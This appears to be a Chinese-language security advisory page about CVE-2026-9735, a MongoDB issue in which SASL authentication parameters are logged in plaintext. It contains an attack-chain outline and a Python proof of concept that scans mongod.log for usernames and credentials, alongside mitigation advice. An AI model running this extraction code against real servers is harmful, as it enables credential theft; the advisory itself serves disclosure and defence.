IPBUF安全漏洞报告
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CVE-2026-9735 CVSS 5.5 中危

CVE-2026-9735 MongoDB服务器日志凭据泄露漏洞

披露日期: 2026-06-09

漏洞信息

漏洞编号
CVE-2026-9735
漏洞类型
信息泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MongoDB Server

相关标签

MongoDB信息泄露日志凭据泄露SASL认证CVE-2026-9735本地攻击CVSS 5.5中危漏洞数据库安全

漏洞概述

CVE-2026-9735是MongoDB服务器中的一个信息泄露安全漏洞。当MongoDB服务器在执行SASL(Simple Authentication and Security Layer)认证过程中,如果启用了连接健康指标日志记录功能(connection health metric logging),系统会将完整的认证参数写入服务器日志文件。这些认证参数可能包含用户名、密码或其他凭据信息,且在写入日志时未经过适当的脱敏处理。攻击者通过访问MongoDB服务器的日志文件,可以获取存储在其中的明文凭据信息,进而利用这些凭据进行后续的未授权访问或横向移动攻击。该漏洞的CVSS评分为5.5,属于中等严重程度,攻击向量为本地攻击,需要低权限即可利用。漏洞影响MongoDB服务器的机密性,可能导致敏感认证凭据泄露。建议受影响的用户及时更新到安全版本或采取临时缓解措施。

技术细节

MongoDB服务器在处理SASL认证时存在日志记录缺陷。当客户端发起认证请求时,服务器会执行SASL握手过程并记录连接健康指标。问题出在日志记录模块将完整的认证参数(包括可能的明文密码或认证令牌)直接写入日志文件,而没有对这些敏感信息进行脱敏或加密处理。具体来说,当启用connectionHealthMetricsLog选项时,认证过程中的参数会以明文形式记录在mongod.log文件中。攻击者需要具有本地文件系统的访问权限才能读取这些日志文件。由于MongoDB服务器的日志文件通常具有严格的权限控制,但具有本地访问权限的低权限用户仍可能读取到这些敏感信息。漏洞利用的关键在于攻击者需要能够访问MongoDB服务器的日志目录,这通常需要服务器被攻陷或存在本地权限提升问题。一旦攻击者获取到日志文件内容,可以从中提取认证凭据,用于后续的持久化访问或权限提升。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者通过某种方式获取MongoDB服务器的低权限用户访问权限,例如通过其他漏洞、社会工程学或物理访问
STEP 2
步骤2:定位日志文件
攻击者定位MongoDB服务器日志文件,通常位于/var/log/mongodb/mongod.log或自定义配置的日志路径
STEP 3
步骤3:读取日志内容
利用低权限用户身份读取日志文件内容,搜索包含SASL认证信息的日志条目
STEP 4
步骤4:提取认证凭据
通过正则表达式或关键词搜索从日志中提取明文的用户名和密码等认证参数
STEP 5
步骤5:利用泄露凭据
使用提取的凭据登录MongoDB服务器,执行未授权的数据访问、修改或窃取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-9735 PoC - MongoDB Log Credential Extraction This PoC demonstrates how to extract credentials from MongoDB logs when connection health metric logging is enabled. """ import os import re import sys def extract_mongodb_logs(log_path): """ Extract potential credentials from MongoDB log files. Args: log_path: Path to MongoDB log file (usually mongod.log) Returns: List of extracted credentials """ credentials = [] sasl_pattern = r'SASL\s+(?:authentication|step)\s+.*?(user|username)[=:]\s*(\S+)' auth_pattern = r'authenticate\s+.*?(user|username|password)[=:]\s*(\S+)' try: with open(log_path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: # Look for SASL authentication patterns sasl_matches = re.findall(sasl_pattern, line, re.IGNORECASE) for match in sasl_matches: credentials.append({ 'type': 'SASL_AUTH', 'user': match[1] if len(match) > 1 else match[0], 'log_line': line.strip() }) # Look for general authentication patterns auth_matches = re.findall(auth_pattern, line, re.IGNORECASE) for match in auth_matches: credentials.append({ 'type': 'AUTH_LOGIN', 'credential': match[1] if len(match) > 1 else match[0], 'log_line': line.strip() }) except PermissionError: print(f'[-] Permission denied: {log_path}') except FileNotFoundError: print(f'[-] Log file not found: {log_path}') return credentials def main(): if len(sys.argv) < 2: print('Usage: python3 cve_2026_9735_poc.py <mongodb_log_path>') print('Example: python3 cve_2026_9735_poc.py /var/log/mongodb/mongod.log') sys.exit(1) log_path = sys.argv[1] print(f'[*] Analyzing MongoDB log file: {log_path}') print(f'[*] Looking for exposed credentials (CVE-2026-9735)') creds = extract_mongodb_logs(log_path) if creds: print(f'[!] Found {len(creds)} potential exposed credentials:') for i, cred in enumerate(creds, 1): print(f'\n[{i}] Type: {cred["type"]}') print(f' User: {cred.get("user", cred.get("credential", "N/A"))}') print(f' Log: {cred["log_line"][:100]}...') else: print('[*] No obvious credentials found in log file') print('[*] Note: This does not mean the system is not vulnerable') if __name__ == '__main__': main()

影响范围

MongoDB Server < 安全补丁版本
MongoDB Server 6.x 系列受影响
MongoDB Server 7.x 系列可能受影响

防御指南

临时缓解措施
在官方安全补丁发布之前,建议采取以下临时缓解措施:首先,禁用MongoDB的连接健康指标日志记录功能,通过在配置文件中设置connectionHealthMetricsLog=false来阻止敏感认证参数写入日志;其次,严格限制MongoDB日志文件的访问权限,确保只有root或mongod管理员用户具有读取权限;最后,配置日志轮转(log rotation)策略,定期清理旧日志文件以减少敏感信息暴露的时间窗口。建议监控日志目录的访问尝试,及时发现潜在的攻击行为。

参考链接

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